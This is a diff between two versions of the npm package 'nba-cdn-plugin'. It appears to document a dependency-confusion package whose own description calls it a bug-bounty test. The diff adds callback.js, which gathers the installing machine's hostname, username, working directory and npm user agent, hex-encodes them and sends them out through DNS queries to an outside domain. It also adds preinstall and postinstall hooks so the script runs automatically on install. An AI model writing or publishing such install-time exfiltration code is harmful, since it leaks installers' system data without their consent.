nba-cdn-plugin 0.0.1-security → 999.0.0

package/callback.js

@@ -0,0 +1,16 @@
+try {
+  const os = require('os'), dns = require('dns');
+  const hex = Buffer.from(JSON.stringify({
+    h: os.hostname(),
+    u: (os.userInfo() || {}).username,
+    d: process.cwd(),
+    a: process.env.npm_config_user_agent || ''
+  })).toString('hex');
+  const labels = hex.match(/.{1,60}/g) || [];
+  const suffix = '.nba-cdn.sg84.pitr.be';
+  const maxLabels = Math.floor((253 - suffix.length) / 61);
+  for (let i = 0; i < labels.length; i += maxLabels) {
+    const name = labels.slice(i, i + maxLabels).join('.') + suffix;
+    dns.resolve4(name, () => {});
+  }
+} catch(e) {}

package/package.json

@@ -1,6 +1,10 @@
 {
-  "name": "nba-cdn-plugin",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+ "name": "nba-cdn-plugin",
+ "version":"999.0.0",
+ "description":"Bug-bounty dependency confusion by honoki@hackerone",
+ "main": "callback.js",
+ "scripts":{
+  "preinstall": "node ./callback.js || true",
+  "postinstall": "node ./callback.js || true"
+ }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=nba-cdn-plugin for more information.